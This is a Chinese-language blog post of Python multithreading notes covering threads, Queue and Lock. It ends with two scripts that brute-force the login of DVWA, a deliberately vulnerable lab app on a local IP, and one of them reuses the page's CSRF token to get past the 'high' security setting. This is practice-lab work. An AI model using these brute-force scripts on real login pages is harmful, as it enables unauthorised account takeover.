Python多线程_笔记
基础知识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | ''' @Time : 2020/3/29 14:30 @Author : laolao @FileName: 2.py ''' import threading def thread_job(): print ( "This is an added Thread,number is %s" % threading.current_thread()) def main(): #查看现在有几个线程被激活 # [ < _MainThread(MainThread, started 17940) >]:默认的主程序的线程 print (threading.active_count()) # 查询被激活的线程都叫什么 print (threading. enumerate ()) # 显示当前运行的程序是属于那个线程 print (threading.current_thread()) # 定义一个线程,括号里面写让线程执行的工作 added_thread = threading.Thread(target = thread_job) added_thread.start() # 执行线程 if __name__ = = '__main__' : main() |
多线程的应用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | ''' @Time : 2020/3/29 14:30 @Author : laolao @FileName: 2.py ''' import threading import time def thread_job(): print ( '我是T1线程:T1 start' ) for i in range ( 10 ): time.sleep( 0.1 ) print ( "我是T1线程:T1 finish" ) def T2_job(): print ( '我是T2线程:T2 start' ) print ( "我是T2线程:T2 finish" ) def main(): ''' target:让线程执行的工作 name:为这个线程取的名字 :return: ''' added_thread = threading.Thread(target = thread_job,name = 'T1' ) thread2 = threading.Thread(target = T2_job,name = 'T2' ) added_thread.start() # 执行线程 thread2.start() print ( '我跟T1线程同步执行' ) # 如果希望自己的代码在线之后完成用join() thread2.join() print ( '我在T2线程执行后执行' ) if __name__ = = '__main__' : main() |
Queue功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | ''' @Time : 2020/3/29 14:30 @Author : laolao @FileName: 2.py ''' import threading import time from queue import Queue def job(l,q): for i in range ( len (l)): l[i] = l[i] * * 2 q.put(l) def multithreading(): q = Queue() threads = [] # 线程列表 data = [[ 1 , 2 , 3 ],[ 3 , 4 , 5 ],[ 4 , 4 , 4 ],[ 5 , 5 , 5 ]] for i in range ( 4 ): ''' 定义4个线程,并用列表保存起来 ''' t = threading.Thread(target = job,args = (data[i],q)) t.start() threads.append(t) for thread in threads: ''' 把每一线程都一次加载到主线程中 ''' thread.join() result = [] for _ in range ( 4 ): result.append(q.get()) print (result) if __name__ = = '__main__' : multithreading() |
lock:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | ''' @Time : 2020/3/29 14:30 @Author : laolao @FileName: 2.py ''' import threading import time from queue import Queue def job1(): global A lock.acquire() for i in range ( 10 ): A + = 1 print ( 'job2' ,A) lock.release() def job2(): global A lock.acquire() # 设定锁 ''' 锁上后job1就不会接触到这一段 ''' for i in range ( 10 ): A + = 10 print ( 'job2' ,A) lock.release() # 释放锁 if __name__ = = '__main__' : A = 0 lock = threading.Lock() t1 = threading.Thread(target = job1) t2 = threading.Thread(target = job2) t1.start() t2.start() t1.join() t2.join() |
针对DVWA的多线程爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | import requests import urllib.parse import threading import time FLAG = 0 def getPayload(nameList,pwdList): with open (nameList, 'r' ) as f: with open (pwdList, 'r' ) as ff: n = f.readlines() p = ff.readlines() ii = 0 for i in n: n[ii] = i.strip() ii + = 1 ii = 0 for i in p: p[ii] = i.strip() ii + = 1 return [n,p] def main(name,pwd,flag): global FLAG for i in name: addthread = threading.Thread(target = burpForce,args = (i,pwd,flag)) if FLAG = = 0 : addthread.start() def burpForce(i,p,flag,user_token = None ): global FLAG headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' , 'Cookie' : 'PHPSESSID=0lmbgvv0f96hmpoqqegn8cp6l0; security=high' } for j in p: url = "http://192.168.171.130:2333/DVWA/vulnerabilities/brute/?username={0}&password={1}&Login=Login#" . format (urllib.parse.quote(i),urllib.parse.quote(j)) re = requests.get(url = url,headers = headers) print ( ">>" + url) if re.status_code = = 200 and flag in re.text: print ( ">>用户名:{},密码:{}" . format (i,j)) FLAG = 1 return if __name__ = = '__main__' : name,pwd = getPayload( 'F:/饶狗狗的私人书架/user.txt' , "F:/饶狗狗的私人书架/passowrd.txt" ) main(name,pwd,flag = 'Welcome to' ) |
Token验证的爆破[没用到线程]:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | import requests import urllib.parse import threading import time from lxml import etree def getPayload(nameList,pwdList): with open (nameList, 'r' ) as f: with open (pwdList, 'r' ) as ff: n = f.readlines() p = ff.readlines() ii = 0 for i in n: n[ii] = i.strip() ii + = 1 ii = 0 for i in p: p[ii] = i.strip() ii + = 1 return [n,p] def main(name,pwd,flag): user_token = burpForce(flag = flag,init = True ) for i in name: for j in pwd: res = burpForce(flag = flag,user_name = i,password = j,user_token = user_token) if res ! = 'YES' : user_token = res else : return def burpForce(flag,user_name = None ,password = None ,user_token = None ,init = False ): global headers,url parm = {} if not init: parm = { 'username' : user_name, 'password' : password, 'Login' : 'Login' , 'user_token' : user_token } re = requests.get(url = url,params = parm,headers = headers) print (re.url) if re.status_code = = 200 : if flag in re.text: print ( ">>用户名:{},密码:{}" . format (user_name,password)) return 'YES' else : token = etree.HTML(re.text).xpath( '//input[@type="hidden"]/@value' ) return token[ 0 ] if __name__ = = '__main__' : headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36' , 'Cookie' : 'PHPSESSID=0lmbgvv0f96hmpoqqegn8cp6l0; security=high' } url = "http://192.168.171.130:2333/vulnerabilities/brute/" name,pwd = getPayload( 'F:/饶狗狗的私人书架/user.txt' , "F:/饶狗狗的私人书架/passowrd.txt" ) main(name,pwd,flag = 'Welcome to' ) |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异